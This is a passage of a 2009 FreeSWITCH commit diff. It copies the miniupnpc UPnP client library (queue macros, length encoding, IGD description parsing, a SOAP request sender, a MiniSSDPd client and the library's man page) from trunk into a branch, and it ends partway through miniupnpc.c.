+	_Q_INVALIDATE((elm)->field.tqe_prev);				\
+	_Q_INVALIDATE((elm)->field.tqe_next);				\
+} while (0)
+
+/*
+ * Circular queue definitions.
+ */
+#define CIRCLEQ_HEAD(name, type)					\
+struct name {								\
+	struct type *cqh_first;		/* first element */		\
+	struct type *cqh_last;		/* last element */		\
+}
+
+#define CIRCLEQ_HEAD_INITIALIZER(head)					\
+	{ CIRCLEQ_END(&head), CIRCLEQ_END(&head) }
+
+#define CIRCLEQ_ENTRY(type)						\
+struct {								\
+	struct type *cqe_next;		/* next element */		\
+	struct type *cqe_prev;		/* previous element */		\
+}
+
+/*
+ * Circular queue access methods 
+ */
+#define	CIRCLEQ_FIRST(head)		((head)->cqh_first)
+#define	CIRCLEQ_LAST(head)		((head)->cqh_last)
+#define	CIRCLEQ_END(head)		((void *)(head))
+#define	CIRCLEQ_NEXT(elm, field)	((elm)->field.cqe_next)
+#define	CIRCLEQ_PREV(elm, field)	((elm)->field.cqe_prev)
+#define	CIRCLEQ_EMPTY(head)						\
+	(CIRCLEQ_FIRST(head) == CIRCLEQ_END(head))
+
+#define CIRCLEQ_FOREACH(var, head, field)				\
+	for((var) = CIRCLEQ_FIRST(head);				\
+	    (var) != CIRCLEQ_END(head);					\
+	    (var) = CIRCLEQ_NEXT(var, field))
+
+#define CIRCLEQ_FOREACH_REVERSE(var, head, field)			\
+	for((var) = CIRCLEQ_LAST(head);					\
+	    (var) != CIRCLEQ_END(head);					\
+	    (var) = CIRCLEQ_PREV(var, field))
+
+/*
+ * Circular queue functions.
+ */
+#define	CIRCLEQ_INIT(head) do {						\
+	(head)->cqh_first = CIRCLEQ_END(head);				\
+	(head)->cqh_last = CIRCLEQ_END(head);				\
+} while (0)
+
+#define CIRCLEQ_INSERT_AFTER(head, listelm, elm, field) do {		\
+	(elm)->field.cqe_next = (listelm)->field.cqe_next;		\
+	(elm)->field.cqe_prev = (listelm);				\
+	if ((listelm)->field.cqe_next == CIRCLEQ_END(head))		\
+		(head)->cqh_last = (elm);				\
+	else								\
+		(listelm)->field.cqe_next->field.cqe_prev = (elm);	\
+	(listelm)->field.cqe_next = (elm);				\
+} while (0)
+
+#define CIRCLEQ_INSERT_BEFORE(head, listelm, elm, field) do {		\
+	(elm)->field.cqe_next = (listelm);				\
+	(elm)->field.cqe_prev = (listelm)->field.cqe_prev;		\
+	if ((listelm)->field.cqe_prev == CIRCLEQ_END(head))		\
+		(head)->cqh_first = (elm);				\
+	else								\
+		(listelm)->field.cqe_prev->field.cqe_next = (elm);	\
+	(listelm)->field.cqe_prev = (elm);				\
+} while (0)
+
+#define CIRCLEQ_INSERT_HEAD(head, elm, field) do {			\
+	(elm)->field.cqe_next = (head)->cqh_first;			\
+	(elm)->field.cqe_prev = CIRCLEQ_END(head);			\
+	if ((head)->cqh_last == CIRCLEQ_END(head))			\
+		(head)->cqh_last = (elm);				\
+	else								\
+		(head)->cqh_first->field.cqe_prev = (elm);		\
+	(head)->cqh_first = (elm);					\
+} while (0)
+
+#define CIRCLEQ_INSERT_TAIL(head, elm, field) do {			\
+	(elm)->field.cqe_next = CIRCLEQ_END(head);			\
+	(elm)->field.cqe_prev = (head)->cqh_last;			\
+	if ((head)->cqh_first == CIRCLEQ_END(head))			\
+		(head)->cqh_first = (elm);				\
+	else								\
+		(head)->cqh_last->field.cqe_next = (elm);		\
+	(head)->cqh_last = (elm);					\
+} while (0)
+
+#define	CIRCLEQ_REMOVE(head, elm, field) do {				\
+	if ((elm)->field.cqe_next == CIRCLEQ_END(head))			\
+		(head)->cqh_last = (elm)->field.cqe_prev;		\
+	else								\
+		(elm)->field.cqe_next->field.cqe_prev =			\
+		    (elm)->field.cqe_prev;				\
+	if ((elm)->field.cqe_prev == CIRCLEQ_END(head))			\
+		(head)->cqh_first = (elm)->field.cqe_next;		\
+	else								\
+		(elm)->field.cqe_prev->field.cqe_next =			\
+		    (elm)->field.cqe_next;				\
+	_Q_INVALIDATE((elm)->field.cqe_prev);				\
+	_Q_INVALIDATE((elm)->field.cqe_next);				\
+} while (0)
+
+#define CIRCLEQ_REPLACE(head, elm, elm2, field) do {			\
+	if (((elm2)->field.cqe_next = (elm)->field.cqe_next) ==		\
+	    CIRCLEQ_END(head))						\
+		(head).cqh_last = (elm2);				\
+	else								\
+		(elm2)->field.cqe_next->field.cqe_prev = (elm2);	\
+	if (((elm2)->field.cqe_prev = (elm)->field.cqe_prev) ==		\
+	    CIRCLEQ_END(head))						\
+		(head).cqh_first = (elm2);				\
+	else								\
+		(elm2)->field.cqe_prev->field.cqe_next = (elm2);	\
+	_Q_INVALIDATE((elm)->field.cqe_prev);				\
+	_Q_INVALIDATE((elm)->field.cqe_next);				\
+} while (0)
+
+#endif	/* !_SYS_QUEUE_H_ */

Deleted: freeswitch/branches/seven/libs/miniupnpc/codelength.h

Copied: freeswitch/branches/seven/libs/miniupnpc/codelength.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/codelength.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/codelength.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/codelength.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+/* $Id: codelength.h,v 1.1 2008/10/06 22:04:06 nanard Exp $ */
+/* Project : miniupnp
+ * Author : Thomas BERNARD
+ * copyright (c) 2005-2008 Thomas Bernard
+ * This software is subjet to the conditions detailed in the
+ * provided LICENCE file. */
+#ifndef __CODELENGTH_H__
+#define __CODELENGTH_H__
+
+/* Encode length by using 7bit per Byte :
+ * Most significant bit of each byte specifies that the
+ * following byte is part of the code */
+#define DECODELENGTH(n, p) n = 0; \
+                           do { n = (n << 7) | (*p & 0x7f); } \
+                           while(*(p++)&0x80);
+
+#define CODELENGTH(n, p) if(n>=268435456) *(p++) = (unsigned char)((n >> 28) | 0x80); \
+                         if(n>=2097152) *(p++) = (unsigned char)((n >> 21) | 0x80); \
+                         if(n>=16384) *(p++) = (unsigned char)((n >> 14) | 0x80); \
+                         if(n>=128) *(p++) = (unsigned char)((n >> 7) | 0x80); \
+                         *(p++) = (unsigned char)(n & 0x7f);
+
+#endif
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/declspec.h

Copied: freeswitch/branches/seven/libs/miniupnpc/declspec.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/declspec.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/declspec.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/declspec.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+#ifndef __DECLSPEC_H__
+#define __DECLSPEC_H__
+
+#if defined(WIN32) && !defined(STATICLIB)
+	#ifdef MINIUPNP_EXPORTS
+		#define LIBSPEC __declspec(dllexport)
+	#else
+		#define LIBSPEC __declspec(dllimport)
+	#endif
+#else
+	#define LIBSPEC
+#endif
+
+#endif
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/igd_desc_parse.c

Copied: freeswitch/branches/seven/libs/miniupnpc/igd_desc_parse.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/igd_desc_parse.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/igd_desc_parse.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/igd_desc_parse.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,113 @@
+/* $Id: igd_desc_parse.c,v 1.8 2008/04/23 11:51:06 nanard Exp $ */
+/* Project : miniupnp
+ * http://miniupnp.free.fr/
+ * Author : Thomas Bernard
+ * Copyright (c) 2005-2008 Thomas Bernard
+ * This software is subject to the conditions detailed in the
+ * LICENCE file provided in this distribution.
+ * */
+#include "igd_desc_parse.h"
+#include <stdio.h>
+#include <string.h>
+
+/* TODO : rewrite this code so it correctly handle descriptions with
+ * both WANIPConnection and/or WANPPPConnection */
+
+/* Start element handler :
+ * update nesting level counter and copy element name */
+void IGDstartelt(void * d, const char * name, int l)
+{
+	struct IGDdatas * datas = (struct IGDdatas *)d;
+	memcpy( datas->cureltname, name, l);
+	datas->cureltname[l] = '\0';
+	datas->level++;
+	if( (l==7) && !memcmp(name, "service", l) ) {
+		datas->controlurl_tmp[0] = '\0';
+		datas->eventsuburl_tmp[0] = '\0';
+		datas->scpdurl_tmp[0] = '\0';
+		datas->servicetype_tmp[0] = '\0';
+	}
+}
+
+/* End element handler :
+ * update nesting level counter and update parser state if
+ * service element is parsed */
+void IGDendelt(void * d, const char * name, int l)
+{
+	struct IGDdatas * datas = (struct IGDdatas *)d;
+	datas->level--;
+	/*printf("endelt %2d %.*s\n", datas->level, l, name);*/
+	if( (l==7) && !memcmp(name, "service", l) )
+	{
+		/*
+		if( datas->state < 1
+			&& !strcmp(datas->servicetype,
+				//	"urn:schemas-upnp-org:service:WANIPConnection:1") )
+				"urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1"))
+			datas->state ++;
+		*/
+		if(0==strcmp(datas->servicetype_tmp,
+				"urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1")) {
+			memcpy(datas->controlurl_CIF, datas->controlurl_tmp, MINIUPNPC_URL_MAXSIZE);
+			memcpy(datas->eventsuburl_CIF, datas->eventsuburl_tmp, MINIUPNPC_URL_MAXSIZE);
+			memcpy(datas->scpdurl_CIF, datas->scpdurl_tmp, MINIUPNPC_URL_MAXSIZE);
+			memcpy(datas->servicetype_CIF, datas->servicetype_tmp, MINIUPNPC_URL_MAXSIZE);
+		} else if(0==strcmp(datas->servicetype_tmp,
+				"urn:schemas-upnp-org:service:WANIPConnection:1")
+				 || 0==strcmp(datas->servicetype_tmp,
+				"urn:schemas-upnp-org:service:WANPPPConnection:1") ) {
+			memcpy(datas->controlurl, datas->controlurl_tmp, MINIUPNPC_URL_MAXSIZE);
+			memcpy(datas->eventsuburl, datas->eventsuburl_tmp, MINIUPNPC_URL_MAXSIZE);
+			memcpy(datas->scpdurl, datas->scpdurl_tmp, MINIUPNPC_URL_MAXSIZE);
+			memcpy(datas->servicetype, datas->servicetype_tmp, MINIUPNPC_URL_MAXSIZE);
+		}
+	}
+}
+
+/* Data handler :
+ * copy data depending on the current element name and state */
+void IGDdata(void * d, const char * data, int l)
+{
+	struct IGDdatas * datas = (struct IGDdatas *)d;
+	char * dstmember = 0;
+	/*printf("%2d %s : %.*s\n",
+           datas->level, datas->cureltname, l, data);	*/
+	if( !strcmp(datas->cureltname, "URLBase") )
+		dstmember = datas->urlbase;
+	else if( !strcmp(datas->cureltname, "serviceType") )
+		dstmember = datas->servicetype_tmp;
+	else if( !strcmp(datas->cureltname, "controlURL") )
+		dstmember = datas->controlurl_tmp;
+	else if( !strcmp(datas->cureltname, "eventSubURL") )
+		dstmember = datas->eventsuburl_tmp;
+	else if( !strcmp(datas->cureltname, "SCPDURL") )
+		dstmember = datas->scpdurl_tmp;
+/*	else if( !strcmp(datas->cureltname, "deviceType") )
+		dstmember = datas->devicetype_tmp;*/
+	if(dstmember)
+	{
+		if(l>=MINIUPNPC_URL_MAXSIZE)
+			l = MINIUPNPC_URL_MAXSIZE-1;
+		memcpy(dstmember, data, l);
+		dstmember[l] = '\0';
+	}
+}
+
+void printIGD(struct IGDdatas * d)
+{
+	printf("urlbase = %s\n", d->urlbase);
+	printf("WAN Device (Common interface config) :\n");
+	/*printf(" deviceType = %s\n", d->devicetype_CIF);*/
+	printf(" serviceType = %s\n", d->servicetype_CIF);
+	printf(" controlURL = %s\n", d->controlurl_CIF);
+	printf(" eventSubURL = %s\n", d->eventsuburl_CIF);
+	printf(" SCPDURL = %s\n", d->scpdurl_CIF);
+	printf("WAN Connection Device (IP or PPP Connection):\n");
+	/*printf(" deviceType = %s\n", d->devicetype);*/
+	printf(" servicetype = %s\n", d->servicetype);
+	printf(" controlURL = %s\n", d->controlurl);
+	printf(" eventSubURL = %s\n", d->eventsuburl);
+	printf(" SCPDURL = %s\n", d->scpdurl);
+}
+
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/igd_desc_parse.h

Copied: freeswitch/branches/seven/libs/miniupnpc/igd_desc_parse.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/igd_desc_parse.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/igd_desc_parse.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/igd_desc_parse.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,47 @@
+/* $Id: igd_desc_parse.h,v 1.6 2008/04/23 11:51:07 nanard Exp $ */
+/* Project : miniupnp
+ * http://miniupnp.free.fr/
+ * Author : Thomas Bernard
+ * Copyright (c) 2005-2008 Thomas Bernard
+ * This software is subject to the conditions detailed in the
+ * LICENCE file provided in this distribution.
+ * */
+#ifndef __IGD_DESC_PARSE_H__
+#define __IGD_DESC_PARSE_H__
+
+/* Structure to store the result of the parsing of UPnP
+ * descriptions of Internet Gateway Devices */
+#define MINIUPNPC_URL_MAXSIZE (128)
+struct IGDdatas {
+	char cureltname[MINIUPNPC_URL_MAXSIZE];
+	char urlbase[MINIUPNPC_URL_MAXSIZE];
+	int level;
+	/*int state;*/
+	/* "urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1" */
+	char controlurl_CIF[MINIUPNPC_URL_MAXSIZE];
+	char eventsuburl_CIF[MINIUPNPC_URL_MAXSIZE];
+	char scpdurl_CIF[MINIUPNPC_URL_MAXSIZE];
+	char servicetype_CIF[MINIUPNPC_URL_MAXSIZE];
+	/*char devicetype_CIF[MINIUPNPC_URL_MAXSIZE];*/
+	/* "urn:schemas-upnp-org:service:WANIPConnection:1"
+	 * "urn:schemas-upnp-org:service:WANPPPConnection:1" */
+	char controlurl[MINIUPNPC_URL_MAXSIZE];
+	char eventsuburl[MINIUPNPC_URL_MAXSIZE];
+	char scpdurl[MINIUPNPC_URL_MAXSIZE];
+	char servicetype[MINIUPNPC_URL_MAXSIZE];
+	/*char devicetype[MINIUPNPC_URL_MAXSIZE];*/
+	/* tmp */
+	char controlurl_tmp[MINIUPNPC_URL_MAXSIZE];
+	char eventsuburl_tmp[MINIUPNPC_URL_MAXSIZE];
+	char scpdurl_tmp[MINIUPNPC_URL_MAXSIZE];
+	char servicetype_tmp[MINIUPNPC_URL_MAXSIZE];
+	/*char devicetype_tmp[MINIUPNPC_URL_MAXSIZE];*/
+};
+
+void IGDstartelt(void *, const char *, int);
+void IGDendelt(void *, const char *, int);
+void IGDdata(void *, const char *, int);
+void printIGD(struct IGDdatas *);
+
+#endif
+

Copied: freeswitch/branches/seven/libs/miniupnpc/man3 (from rev 14471, freeswitch/trunk/libs/miniupnpc/man3)

Deleted: freeswitch/branches/seven/libs/miniupnpc/man3/miniupnpc.3

Copied: freeswitch/branches/seven/libs/miniupnpc/man3/miniupnpc.3 (from rev 14471, freeswitch/trunk/libs/miniupnpc/man3/miniupnpc.3) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/man3/miniupnpc.3	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/man3/miniupnpc.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+\" $Id: miniupnpc.3,v 1.2 2008/10/07 13:51:55 nanard Exp $
+.TH miniupnpc 3
+.SH NAME
+miniupnpc \- UPnP client library
+.SH SYNOPSIS
+.SH DESCRIPTION
+The miniupnpc library implement the UPnP protocol defined
+to dialog with Internet Gateway Devices. It also has
+the ability to use data gathered by minissdpd(1) about
+UPnP devices up on the network in order to skip the
+long UPnP device discovery process.
+.PP
+At first, upnpDiscover(3) has to be used to discover UPnP IGD present
+on the network. Then UPNP_GetValidIGD(3) to select the right one.
+Alternatively, UPNP_GetIGDFromUrl(3) could be used to bypass discovery
+process if the root description url of the device to use is known.
+Then all the UPNP_* functions can be used, such as
+UPNP_GetConnectionTypeInfo(3), UPNP_AddPortMapping(3), etc...
+.SH "HEADER FILES"
+.IP miniupnpc.h
+That's the main header file for the miniupnpc library API.
+It contains all the functions and structures related to device discovery.
+.IP upnpcommands.h
+This header file contain the UPnP IGD methods that are accessible
+through the miniupnpc API. The name of the C functions are matching
+the UPnP methods names. ie: GetGenericPortMappingEntry is
+UPNP_GetGenericPortMappingEntry.
+.SH "API FUNCTIONS"
+.IP "struct UPNPDev * upnpDiscover(int delay, const char * multicastif, const char * minissdpdsock, int sameport);"
+execute the discovery process.
+delay (in millisecond) is the maximum time for waiting any device response.
+If available, device list will be obtained from MiniSSDPd.
+Default path for minissdpd socket will be used if minissdpdsock argument is NULL.
+If multicastif is not NULL, it will be used instead of the default multicast interface for sending SSDP discover packets.
+If sameport is not null, SSDP packets will be sent from the source port 1900 (same as destination port) otherwise system assign a source port.
+.IP "void freeUPNPDevlist(struct UPNPDev * devlist);"
+free the list returned by upnpDiscover().
+.IP "int UPNP_GetValidIGD(struct UPNPDev * devlist, struct UPNPUrls * urls, struct IGDdatas * data, char * lanaddr, int lanaddrlen);"
+browse the list of device returned by upnpDiscover(), find
+a live UPnP internet gateway device and fill structures passed as arguments
+with data used for UPNP methods invokation.
+.IP "int UPNP_GetIGDFromUrl(const char * rootdescurl, struct UPNPUrls * urls, struct IGDdatas * data, char * lanaddr, int lanaddrlen);"
+permit to bypass the upnpDiscover() call if the xml root description
+URL of the UPnP IGD is known.
+Fill structures passed as arguments
+with data used for UPNP methods invokation.
+.IP "void GetUPNPUrls(struct UPNPUrls *, struct IGDdatas *, const char *);"
+.IP "void FreeUPNPUrls(struct UPNPUrls *);"
+
+.SH "SEE ALSO"
+minissdpd(1)
+.SH BUGS

Deleted: freeswitch/branches/seven/libs/miniupnpc/mingw32make.bat

Copied: freeswitch/branches/seven/libs/miniupnpc/mingw32make.bat (from rev 14471, freeswitch/trunk/libs/miniupnpc/mingw32make.bat) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/mingw32make.bat	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/mingw32make.bat	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7 @@
+@mingw32-make -f Makefile.mingw %1
+@if errorlevel 1 goto end
+@strip upnpc-static.exe
+@upx --best upnpc-static.exe
+@strip upnpc-shared.exe
+@upx --best upnpc-shared.exe
+:end

Deleted: freeswitch/branches/seven/libs/miniupnpc/minisoap.c

Copied: freeswitch/branches/seven/libs/miniupnpc/minisoap.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/minisoap.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/minisoap.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/minisoap.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,113 @@
+/* $Id: minisoap.c,v 1.16 2008/10/11 16:39:29 nanard Exp $ */
+/* Project : miniupnp
+ * Author : Thomas Bernard
+ * Copyright (c) 2005 Thomas Bernard
+ * This software is subject to the conditions detailed in the
+ * LICENCE file provided in this distribution.
+ *
+ * Minimal SOAP implementation for UPnP protocol.
+ */
+#include <stdio.h>
+#include <string.h>
+#ifdef WIN32
+#include <io.h>
+#include <winsock2.h>
+#define snprintf _snprintf
+#else
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#endif
+#include "minisoap.h"
+#include "miniupnpcstrings.h"
+
+/* only for malloc */
+#include <stdlib.h>
+
+#ifdef WIN32
+#define PRINT_SOCKET_ERROR(x)    printf("Socket error: %s, %d\n", x, WSAGetLastError());
+#else
+#define PRINT_SOCKET_ERROR(x) perror(x)
+#endif
+
+/* httpWrite sends the headers and the body to the socket
+ * and returns the number of bytes sent */
+static int
+httpWrite(int fd, const char * body, int bodysize,
+          const char * headers, int headerssize)
+{
+	int n = 0;
+	/*n = write(fd, headers, headerssize);*/
+	/*if(bodysize>0)
+		n += write(fd, body, bodysize);*/
+	/* Note : my old linksys router only took into account
+	 * soap request that are sent into only one packet */
+	char * p;
+	/* TODO: AVOID MALLOC */
+	p = malloc(headerssize+bodysize);
+	if(!p)
+	  return 0;
+	memcpy(p, headers, headerssize);
+	memcpy(p+headerssize, body, bodysize);
+	/*n = write(fd, p, headerssize+bodysize);*/
+	n = send(fd, p, headerssize+bodysize, 0);
+	if(n<0) {
+	  PRINT_SOCKET_ERROR("send");
+	}
+	/* disable send on the socket */
+	/* draytek routers dont seems to like that... */
+#if 0
+#ifdef WIN32
+	if(shutdown(fd, SD_SEND)<0) {
+#else
+	if(shutdown(fd, SHUT_WR)<0)	{ /*SD_SEND*/
+#endif
+		PRINT_SOCKET_ERROR("shutdown");
+	}
+#endif
+	free(p);
+	return n;
+}
+
+/* self explanatory  */
+int soapPostSubmit(int fd,
+                   const char * url,
+				   const char * host,
+				   unsigned short port,
+				   const char * action,
+				   const char * body)
+{
+	int bodysize;
+	char headerbuf[512];
+	int headerssize;
+	char portstr[8];
+	bodysize = (int)strlen(body);
+	/* We are not using keep-alive HTTP connections.
+	 * HTTP/1.1 needs the header Connection: close to do that.
+	 * This is the default with HTTP/1.0 */
+    /* Connection: Close is normally there only in HTTP/1.1 but who knows */
+	portstr[0] = '\0';
+	if(port != 80)
+		snprintf(portstr, sizeof(portstr), ":%hu", port);
+	headerssize = snprintf(headerbuf, sizeof(headerbuf),
+                       "POST %s HTTP/1.1\r\n"
+/*                       "POST %s HTTP/1.0\r\n"*/
+	                   "Host: %s%s\r\n"
+					   "User-Agent: " OS_STRING ", UPnP/1.0, MiniUPnPc/" MINIUPNPC_VERSION_STRING "\r\n"
+	                   "Content-Length: %d\r\n"
+					   "Content-Type: text/xml\r\n"
+					   "SOAPAction: \"%s\"\r\n"
+					   "Connection: Close\r\n"
+					   "Cache-Control: no-cache\r\n"	/* ??? */
+					   "Pragma: no-cache\r\n"
+					   "\r\n",
+					   url, host, portstr, bodysize, action);
+#ifdef DEBUG
+	printf("SOAP request : headersize=%d bodysize=%d\n",
+	       headerssize, bodysize);
+	/*printf("%s", headerbuf);*/
+#endif
+	return httpWrite(fd, body, bodysize, headerbuf, headerssize);
+}
+
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/minisoap.h

Copied: freeswitch/branches/seven/libs/miniupnpc/minisoap.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/minisoap.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/minisoap.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/minisoap.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+/* $Id: minisoap.h,v 1.3 2006/11/19 22:32:34 nanard Exp $ */
+/* Project : miniupnp
+ * Author : Thomas Bernard
+ * Copyright (c) 2005 Thomas Bernard
+ * This software is subject to the conditions detailed in the
+ * LICENCE file provided in this distribution. */
+#ifndef __MINISOAP_H__
+#define __MINISOAP_H__
+
+/*int httpWrite(int, const char *, int, const char *);*/
+int soapPostSubmit(int, const char *, const char *, unsigned short,
+				   const char *, const char *);
+
+#endif
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/minissdpc.c

Copied: freeswitch/branches/seven/libs/miniupnpc/minissdpc.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/minissdpc.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/minissdpc.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/minissdpc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,122 @@
+/* $Id: minissdpc.c,v 1.7 2008/12/18 17:45:48 nanard Exp $ */
+/* Project : miniupnp
+ * Author : Thomas BERNARD
+ * copyright (c) 2005-2008 Thomas Bernard
+ * This software is subjet to the conditions detailed in the
+ * provided LICENCE file. */
+/*#include <syslog.h>*/
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#ifdef _MSC_VER
+#include <io.h>
+typedef intptr_t ssize_t;
+#define read _read
+#define write _write
+#define close _close
+#else
+#include <unistd.h>
+#endif
+#include <sys/types.h>
+#ifdef WIN32
+#include <winsock2.h>
+#include <Ws2tcpip.h>
+#include <io.h>
+#else
+#include <sys/socket.h>
+#include <sys/un.h>
+#endif
+
+#include "minissdpc.h"
+#include "miniupnpc.h"
+
+#include "codelength.h"
+
+struct UPNPDev *
+getDevicesFromMiniSSDPD(const char * devtype, const char * socketpath)
+{
+#ifdef _MSC_VER
+	/* sockaddr_un not supported on msvc*/
+	return NULL;
+#else
+	struct UPNPDev * tmp;
+	struct UPNPDev * devlist = NULL;
+	unsigned char buffer[2048];
+	ssize_t n;
+	unsigned char * p;
+	unsigned char * url;
+	unsigned int i;
+	unsigned int urlsize, stsize, usnsize, l;
+	int s;
+	struct sockaddr_un addr;
+
+	s = socket(AF_UNIX, SOCK_STREAM, 0);
+	if(s < 0)
+	{
+		/*syslog(LOG_ERR, "socket(unix): %m");*/
+		perror("socket(unix)");
+		return NULL;
+	}
+	addr.sun_family = AF_UNIX;
+	strncpy(addr.sun_path, socketpath, sizeof(addr.sun_path));
+	if(connect(s, (struct sockaddr *)&addr, sizeof(struct sockaddr_un)) < 0)
+	{
+		/*syslog(LOG_WARNING, "connect(\"%s\"): %m", socketpath);*/
+		close(s);
+		return NULL;
+	}
+	stsize = strlen(devtype);
+	buffer[0] = 1; /* request type 1 : request devices/services by type */
+	p = buffer + 1;
+	l = stsize;	CODELENGTH(l, p);
+	memcpy(p, devtype, stsize);
+	p += stsize;
+	if(write(s, buffer, p - buffer) < 0)
+	{
+		/*syslog(LOG_ERR, "write(): %m");*/
+		perror("minissdpc.c: write()");
+		close(s);
+		return NULL;
+	}
+	n = read(s, buffer, sizeof(buffer));
+	if(n<=0)
+	{
+		perror("minissdpc.c: read()");
+		close(s);
+		return NULL;
+	}
+	p = buffer + 1;
+	for(i = 0; i < buffer[0]; i++)
+	{
+		if(p+2>=buffer+sizeof(buffer))
+			break;
+		DECODELENGTH(urlsize, p);
+		if(p+urlsize+2>=buffer+sizeof(buffer))
+			break;
+		url = p;
+		p += urlsize;
+		DECODELENGTH(stsize, p);
+		if(p+stsize+2>=buffer+sizeof(buffer))
+			break;
+		tmp = (struct UPNPDev *)malloc(sizeof(struct UPNPDev)+urlsize+stsize);
+		tmp->pNext = devlist;
+		tmp->descURL = tmp->buffer;
+		tmp->st = tmp->buffer + 1 + urlsize;
+		memcpy(tmp->buffer, url, urlsize);
+		tmp->buffer[urlsize] = '\0';
+		memcpy(tmp->buffer + urlsize + 1, p, stsize);
+		p += stsize;
+		tmp->buffer[urlsize+1+stsize] = '\0';
+		devlist = tmp;
+		/* added for compatibility with recent versions of MiniSSDPd 
+		 * >= 2007/12/19 */
+		DECODELENGTH(usnsize, p);
+		p += usnsize;
+		if(p>buffer + sizeof(buffer))
+			break;
+	}
+	close(s);
+	return devlist;
+#endif
+}
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/minissdpc.h

Copied: freeswitch/branches/seven/libs/miniupnpc/minissdpc.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/minissdpc.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/minissdpc.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/minissdpc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+/* $Id: minissdpc.h,v 1.1 2007/08/31 15:15:33 nanard Exp $ */
+/* Project: miniupnp
+ * http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+ * Author: Thomas Bernard
+ * Copyright (c) 2005-2007 Thomas Bernard
+ * This software is subjects to the conditions detailed
+ * in the LICENCE file provided within this distribution */
+#ifndef __MINISSDPC_H__
+#define __MINISSDPC_H__
+
+struct UPNPDev *
+getDevicesFromMiniSSDPD(const char * devtype, const char * socketpath);
+
+#endif
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/miniupnpc.c

Copied: freeswitch/branches/seven/libs/miniupnpc/miniupnpc.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/miniupnpc.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/miniupnpc.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/miniupnpc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,760 @@
+/* $Id: miniupnpc.c,v 1.57 2008/12/18 17:46:36 nanard Exp $ */
+/* Project : miniupnp
+ * Author : Thomas BERNARD
+ * copyright (c) 2005-2007 Thomas Bernard
+ * This software is subjet to the conditions detailed in the
+ * provided LICENCE file. */
+#define __EXTENSIONS__ 1
+
+#ifndef MACOSX
+#if !defined(_XOPEN_SOURCE) && !defined(__OpenBSD__) && !defined(__NetBSD__)
+#ifndef __cplusplus
+#define _XOPEN_SOURCE 600
+#endif
+#endif
+#ifndef __BSD_VISIBLE
+#define __BSD_VISIBLE 1
+#endif
+#endif
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#ifdef WIN32
+/* Win32 Specific includes and defines */
+#include <winsock2.h>
+#include <Ws2tcpip.h>
+#include <io.h>
+#define snprintf _snprintf
+#if defined(_MSC_VER) && (_MSC_VER >= 1400)
+#define strncasecmp _memicmp
+#else
+#define strncasecmp memicmp
+#endif
+#define MAXHOSTNAMELEN 64
+#else
+/* Standard POSIX includes */
+#include <unistd.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <poll.h>
+#include <netdb.h>
+#include <strings.h>
+#define closesocket close
+#endif
+#include "miniupnpc.h"
+#include "minissdpc.h"
+#include "miniwget.h"
+#include "minisoap.h"
+#include "minixml.h"
+#include "upnpcommands.h"
+
+#ifdef WIN32
+#define PRINT_SOCKET_ERROR(x)    printf("Socket error: %s, %d\n", x, WSAGetLastError());
+#else
+#define PRINT_SOCKET_ERROR(x) perror(x)
